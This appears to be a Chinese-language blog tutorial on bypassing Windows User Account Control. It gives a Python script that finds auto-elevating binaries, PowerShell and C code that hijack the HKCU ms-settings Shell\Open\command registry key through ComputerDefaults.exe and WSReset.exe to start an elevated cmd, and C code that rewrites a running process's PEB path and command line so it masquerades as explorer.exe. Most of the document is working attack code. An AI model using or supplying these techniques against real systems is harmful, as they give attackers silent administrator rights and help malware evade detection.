利用 Shell API
UAC 在 vs 中具体的设置:

aslnvoker 默认权限
highestAvailable 最高权限
requireAdministrator 必须是管理员权限
如果编译设置了 requireAdministrator,用户运行程序后,可以在不触发 UAC 的情况下获得管理员权限的会话。
首先要知道哪些程序是在白名单中,要符合的要求有这些:
1. 程序的manifest标识的配置属性 autoElevate 为 true(启动时就静默提升权限)。
2.程序不弹出UAC弹窗
3.从注册表里查询 Shell\Open\command 键值对
用 sigcheck64 过滤一下标识属性 autoElevate 为 true 的属性(脚本来自 mathwizard 师傅)
import os
from subprocess import *
path = "C:\\Windows\\System32"
files = os.listdir(path)
print(files)
def GetFileList(path, fileList):
    newDir = path
    if os.path.isfile(path):
        if path[-4:] == ".exe":
            fileList.append(path)
    elif os.path.isdir(path):
        try:
            for s in os.listdir(path):
                newDir = os.path.join(path, s)
                GetFileList(newDir, fileList)
        except Exception as e:
            pass
    return fileList
files = GetFileList(path, [])
print(files)
for eachFile in files:
    if eachFile[-4:] == ".exe":
        command = r"D:\\tools\\tool\\SysinternalsSuite\sigcheck64.exe -m {} | findstr auto".format(eachFile)
        print(command)
        p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
        if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
            copy_command = r'copy {} .\success'.format(eachFile)
            Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
            print('[+] {}'.format(eachFile))
            with open('success.txt', 'at') as f:
                f.writelines('{}\n'.format(eachFile))
最后得到符合条件的程序清单,然后手动测试哪个不会弹 UAC,这里找到 ComputerDefaults.exe 程序,用于设置默认应用界面。
关于 Shell\Open\command 键值对,以它命名的键值对存储的是可执行文件的路径,如果 exe 程序运行的时候找到该键值对,就会运行该键值对指向的程序,因为白名单中的 exe 运行的时候是默认提升了权限,那么该键值对指向的程序就过了 UAC,如果把恶意的 exe 写入该键值对,那么当运行白名单中 exe 的时候,就能过 UAC 执行恶意程序。
用 process monitor 设置一下过滤器规则,就可以看到 ComputerDefaults.exe 会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command 中的值

创建一个 HKCU\Software\Classes\ms-settings\Shell\Open\command,再对 omputerDefaults.exe 进行监听,发现还会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute(NAME NOT FOUND),

此时创建一个 DelegateExecute,并将 command 指向我们指定的程序,比如改成 cmd.exe ,此时再运行 C:\Windows\System32\ComputerDefaults.exe,就会弹出一个 system 权限的 cmd 了。
powershell 的实现:
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API
Author: Hashim Jawad of ACTIVELabs
.PARAMETER Command
Specifies the command you would like to run in high integrity context.
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
This will effectivly start cmd.exe in high integrity context.
.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#>
function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )
      $CommandPath = "HKCU:Software\Classes\ms-settings\Shell\Open\command"
      $filePath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"
      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"
      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 10
      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
IEX Invoke-WSResetBypass;
运行 POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\Alice\Desktop\BypassUAC.ps1,成功执行了 WSReset.exe

c 语言实现
#include <stdio.h>
#include <Windows.h>
int main(void)
{
    LPCWSTR regname = L"Software\\Classes\\ms-settings\\Shell\\Open\\command";
    HKEY hkResult = NULL;
    const wchar_t* payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
    DWORD Len = wcslen(payload) * 2 + 2;
    int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);
    ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
    if (ret == 0) {
        printf("success to write run key\n");
        RegCloseKey(hkResult);
    }
    else {
        printf("failed to open regedit.%d\n", ret);
        return 0;
    }
    printf("Starting WSReset.exe");
    system("C://Windows//System32//WSReset.exe");
    return 0;
}
伪装白名单
直接将恶意程序伪装成白名单中的程序,方法就是伪装进程的 PEB。
PEB 结构(Process Envirorment Block Structure),进程环境信息块,通过修改目标进程的 PEB 结构中的路径信息和命令行信息为想要伪装的对象的信息,就可以将目标进程伪装成目标进程。
要实现改过程,首先用 NtQueryInformationProcess 函数获取指定进程的 PEB 地址,结构如下:
typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress; //peb的基地址,实际上是一个 _PEB 结构体的指针
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
_PEB:
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged; //被调试状态 
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 进程参数信息
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;
其中 PRTL_USER_PROCESS_PARAMETERS 的结构:
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
重点关注 ImagePathName 和 CommandLine,也就是 UNICODE_STRING 结构体
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
要用到的几个函数:
BOOL ReadProcessMemory(
  _In_ HANDLE  hProcess, // 进程句柄
  _In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间
  _Out_ LPVOID  lpBuffer, // 接收缓存
  _In_ SIZE_T  nSize, // 读取大小
  _Out_opt_ SIZE_T  *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL
);
BOOL WriteProcessMemory(
  _In_ HANDLE  hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程
  _In_ LPVOID  lpBaseAddress, // 写入内存首地址
  _Out_ LPCVOID lpBuffer, // 指向欲写入的数据
  _In_ SIZE_T  nSize, // 写入大小
  _Out_opt_ SIZE_T  *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL
);
现在我们已经学会 1+1,接着就可以开始造火箭了
#include <stdio.h>
#include <Windows.h>
#include <winternl.h> //PEB Structures, NtQueryInformationProcess
#include <TlHelp32.h>
//prepare for call NtQueryInformationProcess func
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
    IN HANDLE ProcessHandle,
    IN PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN ULONG ProcessInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );
// modify ImagePathName and CommandLine in PEB of specific process
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
    // get handle of process
    /*
    OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID)
    */
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (hProcess == NULL) {
        printf("Open Process error!");
        return FALSE;
    }
    // prepare for getting PEB
    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB peb = { 0 };
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    USHORT usCmdLen = 0;
    USHORT usPathLen = 0;
    const WCHAR* NTDLL = L"ntdll.dll";
    //NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
    if (NULL == NtQueryInformationProcess)
    {
        printf("GetProcAddress Error");
        return FALSE;
    }
    // get status of specific process
    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    if (!NT_SUCCESS(status))
    {
        printf("NtQueryInformationProcess failed");
        return FALSE;
    }
    // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
    ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // get ProcessParameters in PEB of process
    ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    // modify cmdline data
    usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
    WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
    WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
    // modify path data
    usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
    WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
    WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
    return TRUE;
}
// get PID by ProcessName
DWORD FindProcId(const WCHAR* ProcName) {
    DWORD ProcId = 0; // target procId
    PROCESSENTRY32 pe32 = { 0 };  // to get snapshot structure
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
    if (hProcessShot == INVALID_HANDLE_VALUE) {
        puts("get proc list error");
        return 0;
    }
    BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
    // compare proc name and get correct process Id
    while (cProc) {
        if (wcscmp(pe32.szExeFile, ProcName) == 0) {
            ProcId = pe32.th32ProcessID;
            break;
        }
        cProc = Process32Next(hProcessShot, &pe32);
    }
    return ProcId;
}
int main()
{
    const WCHAR* ProcessName = L"Calculator.exe";
    do {
        DWORD dwTargetId = FindProcId(ProcessName);
        if (0 == dwTargetId) {
            printf("can not find procIdn");
            break;
        }
        if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
        {
            printf("Dsisguise Process Error.");
            break;
        }
        printf("Disguise Process OK.");
    } while (FALSE);
    system("pause");
    return 0;
}
执行前先开一个 calc,程序运行后,会将 Calculator.exe 的 cmdline 和 imagepath 修改为指定进程的。